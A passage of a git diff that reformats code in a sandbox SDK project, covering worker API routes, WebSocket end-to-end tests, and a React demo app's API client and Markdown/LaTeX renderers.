executor.setEnvVars(body.envVars); return new Response(JSON.stringify({ success: true }), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } // Code Interpreter - Create Context - if (url.pathname === '/api/code/context/create' && request.method === 'POST') { + if ( + url.pathname === '/api/code/context/create' && + request.method === 'POST' + ) { const context = await executor.createCodeContext(body); return new Response(JSON.stringify(context), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } // Code Interpreter - List Contexts - if (url.pathname === '/api/code/context/list' && request.method === 'GET') { + if ( + url.pathname === '/api/code/context/list' && + request.method === 'GET' + ) { const contexts = await executor.listCodeContexts(); return new Response(JSON.stringify(contexts), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } // Code Interpreter - Delete Context - if (url.pathname.startsWith('/api/code/context/') && request.method === 'DELETE') { + if ( + url.pathname.startsWith('/api/code/context/') && + request.method === 'DELETE' + ) { const pathParts = url.pathname.split('/'); const contextId = pathParts[4]; // /api/code/context/:id await executor.deleteCodeContext(contextId); return new Response(JSON.stringify({ success: true, contextId }), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } @@ -504,19 +568,25 @@ console.log('Terminal server on port ' + port); if (url.pathname === '/api/code/execute' && request.method === 'POST') { const execution = await executor.runCode(body.code, body.options || {}); return new Response(JSON.stringify(execution), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } // Code Interpreter - Execute Code with Streaming - if (url.pathname === '/api/code/execute/stream' && request.method === 'POST') { - const stream = await executor.runCodeStream(body.code, body.options || {}); + if ( + url.pathname === '/api/code/execute/stream' && + request.method === 'POST' + ) { + const stream = await executor.runCodeStream( + body.code, + body.options || {} + ); return new Response(stream, { headers: { 'Content-Type': 'text/event-stream', 'Cache-Control': 'no-cache', - 'Connection': 'keep-alive', - }, + Connection: 'keep-alive' + } }); } @@ -524,19 +594,25 @@ console.log('Terminal server on port ' + port); // This is used by E2E tests to explicitly clean up after each test if (url.pathname === '/cleanup' && request.method === 'POST') { await sandbox.destroy(); - return new Response(JSON.stringify({ success: true, message: 'Sandbox destroyed' }), { - headers: { 'Content-Type': 'application/json' }, - }); + return new Response( + JSON.stringify({ success: true, message: 'Sandbox destroyed' }), + { + headers: { 'Content-Type': 'application/json' } + } + ); } return new Response('Not found', { status: 404 }); } catch (error) { - return new Response(JSON.stringify({ - error: error instanceof Error ? error.message : 'Unknown error', - }), { - status: 500, - headers: { 'Content-Type': 'application/json' }, - }); + return new Response( + JSON.stringify({ + error: error instanceof Error ? error.message : 'Unknown error' + }), + { + status: 500, + headers: { 'Content-Type': 'application/json' } + } + ); } - }, + } }; diff --git a/tests/e2e/websocket-connect.test.ts b/tests/e2e/websocket-connect.test.ts index 6d536dda..ea2ec69c 100644 --- a/tests/e2e/websocket-connect.test.ts +++ b/tests/e2e/websocket-connect.test.ts @@ -1,7 +1,11 @@ import { describe, test, expect, beforeAll, afterAll, afterEach } from 'vitest'; import WebSocket from 'ws'; import { getTestWorkerUrl, WranglerDevRunner } from './helpers/wrangler-runner'; -import { createSandboxId, createTestHeaders, cleanupSandbox } from './helpers/test-fixtures'; +import { + createSandboxId, + createTestHeaders, + cleanupSandbox +} from './helpers/test-fixtures'; /** * WebSocket connect() Integration Tests @@ -40,18 +44,18 @@ describe('WebSocket Connections', () => { // Start a simple echo server in the container await fetch(`${workerUrl}/api/init`, { method: 'POST', - headers, + headers }); // Wait for server to be ready (generous timeout for first startup) - await new Promise(resolve => setTimeout(resolve, 2000)); + await new Promise((resolve) => setTimeout(resolve, 2000)); // Connect via WebSocket using connect() routing const wsUrl = workerUrl.replace(/^http/, 'ws') + '/ws/echo'; const ws = new WebSocket(wsUrl, { headers: { - 'X-Sandbox-Id': currentSandboxId, - }, + 'X-Sandbox-Id': currentSandboxId + } }); // Wait for connection @@ -88,17 +92,23 @@ describe('WebSocket Connections', () => { // Initialize echo server await fetch(`${workerUrl}/api/init`, { method: 'POST', - headers, + headers }); // Wait for server to be ready - await new Promise(resolve => setTimeout(resolve, 2000)); + await new Promise((resolve) => setTimeout(resolve, 2000)); // Open 3 concurrent connections to echo server const wsUrl = workerUrl.replace(/^http/, 'ws') + '/ws/echo'; - const ws1 = new WebSocket(wsUrl, { headers: { 'X-Sandbox-Id': currentSandboxId } }); - const ws2 = new WebSocket(wsUrl, { headers: { 'X-Sandbox-Id': currentSandboxId } }); - const ws3 = new WebSocket(wsUrl, { headers: { 'X-Sandbox-Id': currentSandboxId } }); + const ws1 = new WebSocket(wsUrl, { + headers: { 'X-Sandbox-Id': currentSandboxId } + }); + const ws2 = new WebSocket(wsUrl, { + headers: { 'X-Sandbox-Id': currentSandboxId } + }); + const ws3 = new WebSocket(wsUrl, { + headers: { 'X-Sandbox-Id': currentSandboxId } + }); // Wait for all connections to open await Promise.all([ @@ -116,7 +126,7 @@ describe('WebSocket Connections', () => { ws3.on('open', () => resolve()); ws3.on('error', reject); setTimeout(() => reject(new Error('WS3 timeout')), 10000); - }), + }) ]); // Send different messages on each connection simultaneously @@ -132,7 +142,7 @@ describe('WebSocket Connections', () => { new Promise((resolve) => { ws3.on('message', (data) => resolve(data.toString())); ws3.send('Message 3'); - }), + }) ]); // Verify each connection received its own message (no interference) diff --git a/tests/e2e/websocket-workflow.test.ts b/tests/e2e/websocket-workflow.test.ts index 5796f7f4..58aa29f8 100644 --- a/tests/e2e/websocket-workflow.test.ts +++ b/tests/e2e/websocket-workflow.test.ts @@ -1,13 +1,27 @@ -import { describe, test, expect, beforeAll, afterAll, afterEach, vi } from 'vitest'; +import { + describe, + test, + expect, + beforeAll, + afterAll, + afterEach, + vi +} from 'vitest'; import { readFileSync } from 'node:fs'; import { join } from 'node:path'; import WebSocket from 'ws'; import { getTestWorkerUrl, WranglerDevRunner } from './helpers/wrangler-runner'; -import { createSandboxId, createTestHeaders, fetchWithStartup, cleanupSandbox } from './helpers/test-fixtures'; +import { + createSandboxId, + createTestHeaders, + fetchWithStartup, + cleanupSandbox +} from './helpers/test-fixtures'; // Port exposure tests require custom domain with wildcard DNS routing // Skip these tests when running against workers.dev deployment (no wildcard support) -const skipWebSocketTests = process.env.TEST_WORKER_URL?.endsWith('.workers.dev') ?? false; +const skipWebSocketTests = + process.env.TEST_WORKER_URL?.endsWith('.workers.dev') ?? false; /** * WebSocket Workflow Integration Tests @@ -67,14 +81,15 @@ describe('WebSocket Workflow', () => { // Step 1: Write the WebSocket echo server to the container await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/file/write`, { - method: 'POST', - headers, - body: JSON.stringify({ - path: '/workspace/ws-server.ts', - content: serverCode, + async () => + fetchWithStartup(`${workerUrl}/api/file/write`, { + method: 'POST', + headers, + body: JSON.stringify({ + path: '/workspace/ws-server.ts', + content: serverCode + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -84,8 +99,8 @@ describe('WebSocket Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - command: `bun run /workspace/ws-server.ts ${port}`, - }), + command: `bun run /workspace/ws-server.ts ${port}` + }) }); expect(startResponse.status).toBe(200); @@ -94,7 +109,7 @@ describe('WebSocket Workflow', () => { expect(processData.status).toBe('running'); // Wait for server to be ready (generous timeout for first startup) - await new Promise(resolve => setTimeout(resolve, 2000)); + await new Promise((resolve) => setTimeout(resolve, 2000)); // Step 3: Expose the port to get preview URL const exposeResponse = await fetch(`${workerUrl}/api/port/expose`, { @@ -102,8 +117,8 @@ describe('WebSocket Workflow', () => { headers, body: JSON.stringify({ port, - name: 'websocket-test', - }), + name: 'websocket-test' + }) }); expect(exposeResponse.status).toBe(200); @@ -121,7 +136,10 @@ describe('WebSocket Workflow', () => { await new Promise((resolve, reject) => { ws.on('open', () => resolve()); ws.on('error', (error) => reject(error)); - setTimeout(() => reject(new Error('WebSocket connection timeout')), 10000); + setTimeout( + () => reject(new Error('WebSocket connection timeout')), + 10000 + ); }); console.log('[DEBUG] WebSocket connected'); @@ -151,12 +169,12 @@ describe('WebSocket Workflow', () => { // Step 7: Cleanup - kill process and unexpose port await fetch(`${workerUrl}/api/process/${processId}`, { method: 'DELETE', - headers, + headers }); await fetch(`${workerUrl}/api/exposed-ports/${port}`, { method: 'DELETE', - headers, + headers }); }, 90000); }); diff --git a/tests/integration/README.md b/tests/integration/README.md index e88e2319..bfeba457 100644 --- a/tests/integration/README.md +++ b/tests/integration/README.md @@ -49,18 +49,21 @@ This example demonstrates the proper 3-layer architecture for Sandbox SDK applic ### Layer Responsibilities **Frontend (`app/index.tsx`)** + - React-based UI with tabbed interface - HTTP requests to Worker API endpoints - Server-Sent Events for real-time streaming - State management for commands, processes, and ports **Worker (`src/index.ts`)** + - HTTP API gateway with endpoint routing - Direct calls to Sandbox SDK methods - SSE streaming for real-time updates - CORS handling and error responses **Sandbox Durable Object** + - Implements ISandbox interface methods - Process lifecycle management - AsyncIterable streaming capabilities @@ -77,6 +80,7 @@ npm run deploy ## Development ### Project Structure + ``` examples/basic/ โ”œโ”€โ”€ src/ diff --git a/tests/integration/app/components/LaTeXRenderer.tsx b/tests/integration/app/components/LaTeXRenderer.tsx index f9ff30ce..096e075a 100644 --- a/tests/integration/app/components/LaTeXRenderer.tsx +++ b/tests/integration/app/components/LaTeXRenderer.tsx @@ -1,6 +1,6 @@ -import React from "react"; -import { InlineMath, BlockMath } from "react-katex"; -import "katex/dist/katex.min.css"; +import React from 'react'; +import { InlineMath, BlockMath } from 'react-katex'; +import 'katex/dist/katex.min.css'; interface LaTeXRendererProps { content: string; @@ -10,13 +10,13 @@ export function LaTeXRenderer({ content }: LaTeXRendererProps) { // Parse the entire content at once to handle multi-line LaTeX const parseContent = (): React.ReactNode[] => { const elements: React.ReactNode[] = []; - + // Regular expressions for finding LaTeX delimiters const combinedRegex = /(\$\$[\s\S]*?\$\$|\$[^\$\n]+?\$)/g; - + let lastIndex = 0; let match; - + while ((match = combinedRegex.exec(content)) !== null) { // Add any text before the match if (match.index > lastIndex) { @@ -37,19 +37,19 @@ export function LaTeXRenderer({ content }: LaTeXRendererProps) { }); } } - + const matchedText = match[0]; - + // Check if it's display math ($$...$$) or inline math ($...$) if (matchedText.startsWith('$$') && matchedText.endsWith('$$')) { // Display math - extract content between $$ const formula = matchedText.slice(2, -2).trim(); elements.push(

- ( -
+
Error rendering LaTeX: {error.message}
{formula}
@@ -61,27 +61,27 @@ export function LaTeXRenderer({ content }: LaTeXRendererProps) { // Inline math - extract content between $ const formula = matchedText.slice(1, -1).trim(); elements.push( - ( - + [Error: {formula}] )} /> ); } - + lastIndex = match.index + matchedText.length; - + // Check if there's a newline immediately after this formula if (content[lastIndex] === '\n') { elements.push(
); lastIndex++; // Skip the newline } } - + // Add any remaining text after the last match if (lastIndex < content.length) { const remainingText = content.substring(lastIndex); @@ -101,18 +101,14 @@ export function LaTeXRenderer({ content }: LaTeXRendererProps) { }); } } - + // If no LaTeX was found, return the original content if (elements.length === 0) { elements.push({content}); } - + return elements; }; - - return ( -
- {parseContent()} -
- ); -} \ No newline at end of file + + return
{parseContent()}
; +} diff --git a/tests/integration/app/components/MarkdownRenderer.tsx b/tests/integration/app/components/MarkdownRenderer.tsx index b48ec06e..3a443315 100644 --- a/tests/integration/app/components/MarkdownRenderer.tsx +++ b/tests/integration/app/components/MarkdownRenderer.tsx @@ -1,5 +1,5 @@ -import ReactMarkdown from "react-markdown"; -import remarkGfm from "remark-gfm"; +import ReactMarkdown from 'react-markdown'; +import remarkGfm from 'remark-gfm'; interface MarkdownRendererProps { content: string; @@ -8,100 +8,182 @@ interface MarkdownRendererProps { export function MarkdownRenderer({ content }: MarkdownRendererProps) { return (
-

{children}

, - h2: ({children}) =>

{children}

, - h3: ({children}) =>

{children}

, - - table: ({children}) => ( - + h1: ({ children }) => ( +

+ {children} +

+ ), + h2: ({ children }) => ( +

+ {children} +

+ ), + h3: ({ children }) => ( +

+ {children} +

+ ), + + table: ({ children }) => ( +
{children}
), - - th: ({children}) => ( - + + th: ({ children }) => ( + {children} ), - - td: ({children}) => ( - + + td: ({ children }) => ( + {children} ), - - code({className, children, ...props}) { + + code({ className, children, ...props }) { // Detect inline vs block code by checking if there's a language class const isBlock = className && className.startsWith('language-'); - + if (!isBlock) { return ( - + {children} ); } return ( -
+              
                 
                   {children}
                 
               
); }, - - blockquote: ({children}) => ( -
+ + blockquote: ({ children }) => ( +
{children}
), - - ul: ({children}) =>
    {children}
, - ol: ({children}) =>
    {children}
, - li: ({children}) =>
  • {children}
  • , - hr: () =>
    , - p: ({children}) =>

    {children}

    , - strong: ({children}) => {children}, - em: ({children}) => {children}, + + ul: ({ children }) => ( +
      + {children} +
    + ), + ol: ({ children }) => ( +
      + {children} +
    + ), + li: ({ children }) => ( +
  • + {children} +
  • + ), + hr: () => ( +
    + ), + p: ({ children }) => ( +

    + {children} +

    + ), + strong: ({ children }) => ( + {children} + ), + em: ({ children }) => ( + {children} + ) }} > {content}
    ); -} \ No newline at end of file +} diff --git a/tests/integration/app/index.tsx b/tests/integration/app/index.tsx index 3e73aba0..ca63ab15 100644 --- a/tests/integration/app/index.tsx +++ b/tests/integration/app/index.tsx @@ -1,11 +1,11 @@ -import type React from "react"; -import { useEffect, useRef, useState } from "react"; -import { createRoot } from "react-dom/client"; -import "katex/dist/katex.min.css"; -import "./style.css"; -import { codeExamples } from "../shared/examples"; -import { LaTeXRenderer } from "./components/LaTeXRenderer"; -import { MarkdownRenderer } from "./components/MarkdownRenderer"; +import type React from 'react'; +import { useEffect, useRef, useState } from 'react'; +import { createRoot } from 'react-dom/client'; +import 'katex/dist/katex.min.css'; +import './style.css'; +import { codeExamples } from '../shared/examples'; +import { LaTeXRenderer } from './components/LaTeXRenderer'; +import { MarkdownRenderer } from './components/MarkdownRenderer'; // Type definitions interface FileInfo { @@ -45,7 +45,9 @@ function getClientSandboxId(): string { if (!sandboxId) { // Generate new ID for this tab - sandboxId = `client-${Date.now()}-${Math.random().toString(36).substring(2, 15)}`; + sandboxId = `client-${Date.now()}-${Math.random() + .toString(36) + .substring(2, 15)}`; sessionStorage.setItem(storageKey, sandboxId); } @@ -90,11 +92,11 @@ class SandboxApiClient { private async doFetch(url: string, options: RequestInit): Promise { const response = await fetch(`${this.baseUrl}${url}`, { headers: { - "Content-Type": "application/json", - "X-Sandbox-Client-Id": this.sandboxId, - ...options.headers, + 'Content-Type': 'application/json', + 'X-Sandbox-Client-Id': this.sandboxId, + ...options.headers }, - ...options, + ...options }); if (!response.ok) { @@ -110,12 +112,12 @@ class SandboxApiClient { } try { - const result = await this.doFetch("/api/execute", { - method: "POST", + const result = await this.doFetch('/api/execute', { + method: 'POST', body: JSON.stringify({ - command: `${command} ${args.join(" ")}`, - ...options, - }), + command: `${command} ${args.join(' ')}`, + ...options + }) }); if (this.onCommandComplete) { @@ -138,78 +140,81 @@ class SandboxApiClient { } async listProcesses() { - return this.doFetch("/api/process/list", { - method: "GET", + return this.doFetch('/api/process/list', { + method: 'GET' }); } async startProcess(command: string, args: string[], options: any = {}) { - return this.doFetch("/api/process/start", { - method: "POST", + return this.doFetch('/api/process/start', { + method: 'POST', body: JSON.stringify({ command, args, - ...options, - }), + ...options + }) }); } async killProcess(processId: string) { return this.doFetch(`/api/process/${processId}`, { - method: "DELETE", + method: 'DELETE' }); } async killAllProcesses() { - return this.doFetch("/api/process/kill-all", { - method: "DELETE", + return this.doFetch('/api/process/kill-all', { + method: 'DELETE' }); } async getProcess(processId: string) { return this.doFetch(`/api/process/${processId}`, { - method: "GET", + method: 'GET' }); } async getProcessLogs(processId: string) { return this.doFetch(`/api/process/${processId}/logs`, { - method: "GET", + method: 'GET' }); } async exposePort(port: number, options: any = {}) { - return this.doFetch("/api/expose-port", { - method: "POST", + return this.doFetch('/api/expose-port', { + method: 'POST', body: JSON.stringify({ port, - ...options, - }), + ...options + }) }); } async unexposePort(port: number) { - return this.doFetch("/api/unexpose-port", { - method: "POST", - body: JSON.stringify({ port }), + return this.doFetch('/api/unexpose-port', { + method: 'POST', + body: JSON.stringify({ port }) }); } async getExposedPorts() { - return this.doFetch("/api/exposed-ports", { - method: "GET", + return this.doFetch('/api/exposed-ports', { + method: 'GET' }); } - async *streamProcessLogs(processId: string, options?: { signal?: AbortSignal }): AsyncGenerator { + async *streamProcessLogs( + processId: string, + options?: { signal?: AbortSignal } + ): AsyncGenerator { const response = await fetch( `${this.baseUrl}/api/process/${processId}/stream`, { headers: { - Accept: "text/event-stream", - "X-Sandbox-Client-Id": this.sandboxId, + Accept: 'text/event-stream', + 'X-Sandbox-Client-Id': this.sandboxId }, - signal: options?.signal, // Pass the abort signal to fetch + signal: options?.signal // Pass the abort signal to fetch } ); @@ -219,7 +224,7 @@ class SandboxApiClient { const reader = response.body!.getReader(); const decoder = new TextDecoder(); - let buffer = ""; // Buffer for incomplete lines + let buffer = ''; // Buffer for incomplete lines try { while (true) { @@ -231,21 +236,21 @@ class SandboxApiClient { // Process complete SSE events while (true) { - const eventEnd = buffer.indexOf("\n\n"); + const eventEnd = buffer.indexOf('\n\n'); if (eventEnd === -1) break; // No complete event yet const eventData = buffer.substring(0, eventEnd); buffer = buffer.substring(eventEnd + 2); // Parse the SSE event - const lines = eventData.split("\n"); + const lines = eventData.split('\n'); for (const line of lines) { - if (line.startsWith("data: ")) { + if (line.startsWith('data: ')) { try { const event = JSON.parse(line.substring(6)); yield event; } catch (e) { - console.warn("Failed to parse SSE event:", line, e); + console.warn('Failed to parse SSE event:', line, e); } } } @@ -257,23 +262,23 @@ class SandboxApiClient { } async writeFile(path: string, content: string, options: any = {}) { - return this.doFetch("/api/write", { - method: "POST", + return this.doFetch('/api/write', { + method: 'POST', body: JSON.stringify({ path, content, - ...options, - }), + ...options + }) }); } async readFile(path: string, options: any = {}) { - return this.doFetch("/api/read", { - method: "POST", + return this.doFetch('/api/read', { + method: 'POST', body: JSON.stringify({ path, - ...options, - }), + ...options + }) }); } @@ -286,12 +291,12 @@ class SandboxApiClient { content: string; }> { const response = await fetch(`${this.baseUrl}/api/read/stream`, { - method: "POST", + method: 'POST', headers: { - "Content-Type": "application/json", - "X-Sandbox-Client-Id": this.sandboxId, + 'Content-Type': 'application/json', + 'X-Sandbox-Client-Id': this.sandboxId }, - body: JSON.stringify({ path }), + body: JSON.stringify({ path }) }); if (!response.ok) { @@ -301,13 +306,13 @@ class SandboxApiClient { // Parse SSE stream with proper buffering to handle chunk splitting const reader = response.body?.getReader(); if (!reader) { - throw new Error("No response body"); + throw new Error('No response body'); } const decoder = new TextDecoder(); let metadata: any = null; - let content = ""; - let buffer = ""; // Buffer for incomplete lines + let content = ''; + let buffer = ''; // Buffer for incomplete lines try { while (true) { @@ -321,53 +326,57 @@ class SandboxApiClient { if (done) break; // Process complete lines from buffer - let newlineIndex = buffer.indexOf("\n"); + let newlineIndex = buffer.indexOf('\n'); while (newlineIndex !== -1) { const line = buffer.slice(0, newlineIndex).trim(); buffer = buffer.slice(newlineIndex + 1); - if (line.startsWith("data: ")) { + if (line.startsWith('data: ')) { try { const data = JSON.parse(line.slice(6)); - if (data.type === "metadata") { + if (data.type === 'metadata') { metadata = data; - } else if (data.type === "chunk") { + } else if (data.type === 'chunk') { content += data.data; - } else if (data.type === "complete") { + } else if (data.type === 'complete') { return { path, - mimeType: metadata?.mimeType || "unknown", + mimeType: metadata?.mimeType || 'unknown', size: metadata?.size || 0, isBinary: metadata?.isBinary || false, - encoding: metadata?.encoding || "utf-8", - content, + encoding: metadata?.encoding || 'utf-8', + content }; - } else if (data.type === "error") { + } else if (data.type === 'error') { throw new Error(data.error); } } catch (parseError) { - console.error("Failed to parse SSE line:", line.substring(0, 100), parseError); + console.error( + 'Failed to parse SSE line:', + line.substring(0, 100), + parseError + ); // Skip malformed lines } } - newlineIndex = buffer.indexOf("\n"); + newlineIndex = buffer.indexOf('\n'); } } // Process any remaining data in buffer - if (buffer.trim().startsWith("data: ")) { + if (buffer.trim().startsWith('data: ')) { try { const data = JSON.parse(buffer.trim().slice(6)); - if (data.type === "complete") { + if (data.type === 'complete') { return { path, - mimeType: metadata?.mimeType || "unknown", + mimeType: metadata?.mimeType || 'unknown', size: metadata?.size || 0, isBinary: metadata?.isBinary || false, - encoding: metadata?.encoding || "utf-8", - content, + encoding: metadata?.encoding || 'utf-8', + content }; } } catch (e) { @@ -378,85 +387,88 @@ class SandboxApiClient { reader.releaseLock(); } - throw new Error("Stream ended unexpectedly"); + throw new Error('Stream ended unexpectedly'); } async deleteFile(path: string) { - return this.doFetch("/api/delete", { - method: "POST", - body: JSON.stringify({ path }), + return this.doFetch('/api/delete', { + method: 'POST', + body: JSON.stringify({ path }) }); } async renameFile(oldPath: string, newPath: string) { - return this.doFetch("/api/rename", { - method: "POST", - body: JSON.stringify({ oldPath, newPath }), + return this.doFetch('/api/rename', { + method: 'POST', + body: JSON.stringify({ oldPath, newPath }) }); } async moveFile(sourcePath: string, destinationPath: string) { - return this.doFetch("/api/move", { - method: "POST", - body: JSON.stringify({ sourcePath, destinationPath }), + return this.doFetch('/api/move', { + method: 'POST', + body: JSON.stringify({ sourcePath, destinationPath }) }); } - async listFiles(path: string, options: ListFilesOptions = {}): Promise { - return this.doFetch("/api/list-files", { - method: "POST", - body: JSON.stringify({ path, options }), + async listFiles( + path: string, + options: ListFilesOptions = {} + ): Promise { + return this.doFetch('/api/list-files', { + method: 'POST', + body: JSON.stringify({ path, options }) }); } async mkdir(path: string, options: any = {}) { - return this.doFetch("/api/mkdir", { - method: "POST", + return this.doFetch('/api/mkdir', { + method: 'POST', body: JSON.stringify({ path, - ...options, - }), + ...options + }) }); } async gitCheckout(repoUrl: string, branch?: string, targetDir?: string) { - return this.doFetch("/api/git/checkout", { - method: "POST", - body: JSON.stringify({ repoUrl, branch, targetDir }), + return this.doFetch('/api/git/checkout', { + method: 'POST', + body: JSON.stringify({ repoUrl, branch, targetDir }) }); } async createTestBinaryFile() { - return this.doFetch("/api/create-test-binary", { - method: "POST", + return this.doFetch('/api/create-test-binary', { + method: 'POST' }); } async setupNextjs(projectName?: string) { - return this.doFetch("/api/templates/nextjs", { - method: "POST", - body: JSON.stringify({ projectName }), + return this.doFetch('/api/templates/nextjs', { + method: 'POST', + body: JSON.stringify({ projectName }) }); } async setupReact(projectName?: string) { - return this.doFetch("/api/templates/react", { - method: "POST", - body: JSON.stringify({ projectName }), + return this.doFetch('/api/templates/react', { + method: 'POST', + body: JSON.stringify({ projectName }) }); } async setupVue(projectName?: string) { - return this.doFetch("/api/templates/vue", { - method: "POST", - body: JSON.stringify({ projectName }), + return this.doFetch('/api/templates/vue', { + method: 'POST', + body: JSON.stringify({ projectName }) }); } async setupStatic(projectName?: string) { - return this.doFetch("/api/templates/static", { - method: "POST", - body: JSON.stringify({ projectName }), + return this.doFetch('/api/templates/static', { + method: 'POST', + body: JSON.stringify({ projectName }) }); } @@ -466,16 +478,16 @@ class SandboxApiClient { options: any = {} ): AsyncGenerator { const response = await fetch(`${this.baseUrl}/api/execute/stream`, { - method: "POST", + method: 'POST', headers: { - "Content-Type": "application/json", - Accept: "text/event-stream", - "X-Sandbox-Client-Id": this.sandboxId, + 'Content-Type': 'application/json', + Accept: 'text/event-stream', + 'X-Sandbox-Client-Id': this.sandboxId }, body: JSON.stringify({ - command: `${command} ${args.join(" ")}`, - ...options, - }), + command: `${command} ${args.join(' ')}`, + ...options + }) }); if (!response.ok) { @@ -484,7 +496,7 @@ class SandboxApiClient { const reader = response.body!.getReader(); const decoder = new TextDecoder(); - let buffer = ""; // Buffer for incomplete lines + let buffer = ''; // Buffer for incomplete lines try { while (true) { @@ -496,21 +508,21 @@ class SandboxApiClient { // Process complete SSE events while (true) { - const eventEnd = buffer.indexOf("\n\n"); + const eventEnd = buffer.indexOf('\n\n'); if (eventEnd === -1) break; // No complete event yet const eventData = buffer.substring(0, eventEnd); buffer = buffer.substring(eventEnd + 2); // Parse the SSE event - const lines = eventData.split("\n"); + const lines = eventData.split('\n'); for (const line of lines) { - if (line.startsWith("data: ")) { + if (line.startsWith('data: ')) { try { const event = JSON.parse(line.substring(6)); yield event; } catch (e) { - console.warn("Failed to parse SSE event:", line, e); + console.warn('Failed to parse SSE event:', line, e); } } } @@ -526,45 +538,45 @@ class SandboxApiClient { } async ping() { - return this.doFetch("/api/ping", { - method: "GET", + return this.doFetch('/api/ping', { + method: 'GET' }); } async createSession(sessionId?: string) { - return this.doFetch("/api/session/create", { - method: "POST", - body: JSON.stringify({ sessionId }), + return this.doFetch('/api/session/create', { + method: 'POST', + body: JSON.stringify({ sessionId }) }); } async clearSession(sessionId: string) { return this.doFetch(`/api/session/clear/${sessionId}`, { - method: "POST", + method: 'POST' }); } // Notebook API methods - async createNotebookSession(language: string = "python") { - return this.doFetch("/api/notebook/session", { - method: "POST", - body: JSON.stringify({ language }), + async createNotebookSession(language: string = 'python') { + return this.doFetch('/api/notebook/session', { + method: 'POST', + body: JSON.stringify({ language }) }); } async *executeNotebookCell( code: string, sessionId: string, - language: string = "python" + language: string = 'python' ): AsyncGenerator { const response = await fetch(`${this.baseUrl}/api/notebook/execute`, { - method: "POST", + method: 'POST', headers: { - "Content-Type": "application/json", - Accept: "text/event-stream", - "X-Sandbox-Client-Id": this.sandboxId, + 'Content-Type': 'application/json', + Accept: 'text/event-stream', + 'X-Sandbox-Client-Id': this.sandboxId }, - body: JSON.stringify({ code, sessionId, language }), + body: JSON.stringify({ code, sessionId, language }) }); if (!response.ok) { @@ -573,7 +585,7 @@ class SandboxApiClient { const reader = response.body!.getReader(); const decoder = new TextDecoder(); - let buffer = ""; + let buffer = ''; try { while (true) { @@ -581,19 +593,19 @@ class SandboxApiClient { if (done) break; buffer += decoder.decode(value, { stream: true }); - const lines = buffer.split("\n"); - buffer = lines.pop() || ""; + const lines = buffer.split('\n'); + buffer = lines.pop() || ''; for (const line of lines) { - if (line.startsWith("data: ")) { + if (line.startsWith('data: ')) { const data = line.slice(6); - if (data === "[DONE]") continue; + if (data === '[DONE]') continue; try { const event = JSON.parse(data); yield event; } catch (e) { - console.warn("Failed to parse SSE event:", line, e); + console.warn('Failed to parse SSE event:', line, e); } } } @@ -604,9 +616,9 @@ class SandboxApiClient { } async deleteNotebookSession(sessionId: string) { - return this.doFetch("/api/notebook/session", { - method: "DELETE", - body: JSON.stringify({ sessionId }), + return this.doFetch('/api/notebook/session', { + method: 'DELETE', + body: JSON.stringify({ sessionId }) }); } } @@ -614,7 +626,7 @@ class SandboxApiClient { interface CommandResult { id: string; command: string; - status: "running" | "completed" | "error"; + status: 'running' | 'completed' | 'error'; stdout: string; stderr: string; exitCode?: number; @@ -622,20 +634,20 @@ interface CommandResult { } type TabType = - | "commands" - | "processes" - | "ports" - | "streaming" - | "files" - | "notebook" - | "examples" - | "websocket"; + | 'commands' + | 'processes' + | 'ports' + | 'streaming' + | 'files' + | 'notebook' + | 'examples' + | 'websocket'; interface ProcessInfo { id: string; pid?: number; command: string; - status: "starting" | "running" | "completed" | "failed" | "killed" | "error"; + status: 'starting' | 'running' | 'completed' | 'failed' | 'killed' | 'error'; startTime: string; endTime?: string; exitCode?: number; @@ -650,20 +662,20 @@ interface ProcessLogs { function ProcessManagementTab({ client, connectionStatus, - sessionId, + sessionId }: { client: SandboxApiClient | null; - connectionStatus: "disconnected" | "connecting" | "connected"; + connectionStatus: 'disconnected' | 'connecting' | 'connected'; sessionId: string | null; }) { const [processes, setProcesses] = useState([]); const [isLoading, setIsLoading] = useState(false); - const [processCommand, setProcessCommand] = useState(""); + const [processCommand, setProcessCommand] = useState(''); const [processOptions, setProcessOptions] = useState({ - env: "", - cwd: "", - timeout: "", - processId: "", + env: '', + cwd: '', + timeout: '', + processId: '' }); const [selectedProcess, setSelectedProcess] = useState(null); const [processLogs, setProcessLogs] = useState(null); @@ -671,14 +683,14 @@ function ProcessManagementTab({ // Refresh processes list const refreshProcesses = async () => { - if (!client || connectionStatus !== "connected") return; + if (!client || connectionStatus !== 'connected') return; try { setIsLoading(true); const response = await client.listProcesses(); setProcesses(response.processes); } catch (error) { - console.error("Failed to refresh processes:", error); + console.error('Failed to refresh processes:', error); } finally { setIsLoading(false); } @@ -686,7 +698,7 @@ function ProcessManagementTab({ // Auto-refresh processes every 2 seconds useEffect(() => { - if (connectionStatus === "connected") { + if (connectionStatus === 'connected') { refreshProcesses(); const interval = setInterval(refreshProcesses, 2000); return () => clearInterval(interval); @@ -695,7 +707,7 @@ function ProcessManagementTab({ // Start a background process const startProcess = async () => { - if (!client || connectionStatus !== "connected" || !processCommand.trim()) + if (!client || connectionStatus !== 'connected' || !processCommand.trim()) return; try { @@ -712,8 +724,8 @@ function ProcessManagementTab({ // Parse environment variables if (processOptions.env.trim()) { const env: Record = {}; - processOptions.env.split(",").forEach((pair) => { - const [key, value] = pair.split("="); + processOptions.env.split(',').forEach((pair) => { + const [key, value] = pair.split('='); if (key && value) env[key.trim()] = value.trim(); }); options.env = env; @@ -723,16 +735,16 @@ function ProcessManagementTab({ processCommand.trim(), options ); - console.log("Process started:", response); + console.log('Process started:', response); // Clear form - setProcessCommand(""); - setProcessOptions({ env: "", cwd: "", timeout: "", processId: "" }); + setProcessCommand(''); + setProcessOptions({ env: '', cwd: '', timeout: '', processId: '' }); // Refresh processes list await refreshProcesses(); } catch (error: any) { - console.error("Failed to start process:", error); + console.error('Failed to start process:', error); alert(`Failed to start process: ${error.message || error}`); } finally { setIsStartingProcess(false); @@ -741,81 +753,81 @@ function ProcessManagementTab({ // Kill a process const killProcess = async (processId: string) => { - if (!client || connectionStatus !== "connected") return; + if (!client || connectionStatus !== 'connected') return; try { await client.killProcess(processId); - console.log("Process killed:", processId); + 